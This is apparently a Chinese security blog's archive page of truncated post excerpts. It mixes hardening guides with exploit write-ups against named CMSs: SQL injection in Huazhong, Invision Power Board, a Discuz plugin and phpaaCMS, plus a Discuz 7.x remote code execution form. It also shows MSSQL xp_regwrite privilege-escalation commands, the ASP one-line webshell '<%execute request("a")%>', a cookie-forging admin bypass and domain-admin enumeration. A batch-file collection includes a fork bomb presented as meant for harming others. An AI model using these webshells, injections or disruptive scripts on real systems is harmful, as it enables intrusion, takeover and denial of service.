-
system没有net use权限
AT命令默认是用system权限在运行的，所以不要用AT命令来做磁盘映射之类的。
可以用schtasks命令来代替AT
http://technet.microsoft.com/zh-cn/library/cc772785(WS.10).aspx#BKMK_days
-
华众6.5虚拟主机管理系统SQL注入漏洞利用
只讲两个要点。 第一，如何拿网站管理员权限。 第二，如何备份***。 这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！
-
MSN Editor 0DAY
简单说下利用的方法吧。 点击图片上传后会出现上传页面，地址为
http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=
用普通的图片上传后，地址为 http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=
-
Invision Power Board 1.3.1及更低版本SQL注入漏洞
Invision Power Board是一款使用广泛的基于WEB的程序。
Invision Power Board存在输入验证漏洞，远程***者可能利用此执行SQL注入***。
由于没能正确的过滤用户提供的数据，***者可能通过在st参数中插入SQL指令在主机上执行SQL注入***。
受影响系统：Invision PS Invision Board 1.3.1 FinalInvis
-
Discuz插件《虚拟股市》blind Injection注入漏洞利用
漏洞的发现来自于对某站的***，由于其discuz版本为7.0，所以我只能把眼光聚焦在了它所安装的第三方插件上。
经过简单的测试，就发现了《虚拟股市》存在注射漏洞： http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 http://www.target.com/plugin.php
-
discuz!7.1、7.2远程代码执行漏洞exp
第一种方法：
先注册个用户然后把
<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" /><in
-
phpaaCMS V0.3 存在注射oday漏洞 （图）
偶然路过一个php的站，由于自己很少对PHP有研究所以马虎的看了看是phpaaCMS ，不是大型的CMS，习惯性的在后面加了个“'”，没想到爆错了！
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to
-
Linux系统安全维护
无论你是Linux的普通桌面用户还是管理多个服务器的系统管理员，你都面临着同样的问题：日益增加的各种威胁。Linux是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了***，因为他们也能很容易地找到程序和工具来潜入Linux系统，或者盗取Linux系统上的重要信息。不过，只要我们仔细地设定Linux的各种系统功能，并且加上必要的安全措施，就能让***们无机可乘。
一
-
一次SA权限***和小议SA提权
尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT
;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式
;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW
-
通过交换机漏洞发起的***技术
生成树*** 生成树协议(STP)可以防止冗余的交换环境出现回路。要是网络有回路，就会变得拥塞不堪，从而出现广播风暴，引起MAC表不一致，最终使网络崩溃。 使用STP的所有交换机都通过网桥协议数据单元(BPDU)来共享信息，BPDU每两秒就发送一次。交换机发送BPDU时，里面含有名为网桥ID的标号，这个网桥ID结合了可配置的优先
-
一句话***<%execute request("a")%>的原理
首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释： <% if request("a")<>"" then execute request("a") %>&
-
加固Samba安全三则
目前，许多用户因业务发展需要不断更新，从而造成环境差异较大，整个网络系统平台参差不齐，在服务器端大多使用Linux和Unix，桌面端使用Windows xp/Vista，所以在企业应用中往往是Linux/Unix和Windows操作系统共存形成异构网络。Linux中的Samba就是常用于Linux/Windows合组网下的文件服务器，这样Samba服务器的安全问题就凸显出来了。本文从Samba的访
-
彻底解决ARP欺骗
一、 ARP欺骗的原理
在局域网中，同一子网中的两台计算机通信的建立实际上是通过MAC地址来完成的，所以两台计算机通信前必须将IP地址转换MAC地址，这个过程是由ARP协议完成的。如IP为192.168.0.10的计算机A想要和IP为192.168.0.8的计算机B通信，就会向整个网络发送一个广播（ARP REQUEST）大致内容为：“大家好，我的IP是 192.168.0.10,我的
-
wifi不可靠 无线局域网八大安全困惑
无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。
尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的
-
利用google对特定站点进行测试的实现
利用google照样可以对一个站点进行信息收集和***的，下面我们用google对特定站点进行一次测试。 ------------------------------------------------首先用google先看这个站点的一些基本情况(一些细节部分就略去了): site:xxxx.com 从返回的信息中，找到几个该校的几个系院的域名： http//a1.xxxx.comhttp//a2.
-
***域结构网络
如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像●net group "domain admins" /domain●可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代
-
关于腾讯分站被黑的过程
最近腾讯分站被“黑”的消息有蛮人多关注的，某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题!
大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了，就算注入出密码肯定也加密了，解开了都不一定能找到后台拿shell，必境人家也是有相关的安全部门维护着！上传？除了后台
-
如何构建适合自己的GHOST映象
GHOST是一个硬盘拷贝软件，它的原理就是将整个硬盘或者某些分区作映像保存，也可以将文件还原到硬盘上，恢复到硬盘前的状态。它具有安全、快速、保密性强、压缩率高、兼容性好等特点,特别适合电脑新手和担心操作麻烦的人使用。应用GHOST最核心的问题就是保证自己的硬盘映像是无毒的，最优化的且最适合自己的，如何才能做到这点呢？下面的介绍帮您解决这个问题。1． 在我们接手一台新电脑后，首先要找一张干
-
各种***批处理
收集：X.DW's blog链接：http://hi.baidu.com/hkxdw第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0
就这3行了
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:\1.txt echo. >c:\1.txt & goto err1if not exist c:\2.txt echo
-
ESCMS cookies欺骗0day
版本:ESCMS V1.0 SP1 Build 1125 后台登陆验证是通过admin/check.asp实现的,看代码 <% if Request.cookies(CookiesKey)("ES_admin")="" then ''注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不
小王
分享到朋友圈
- 关注技术：****** 华为技术 网络监控
- 入住博客：2005-11-05 14.6年
七日热门
最近来访
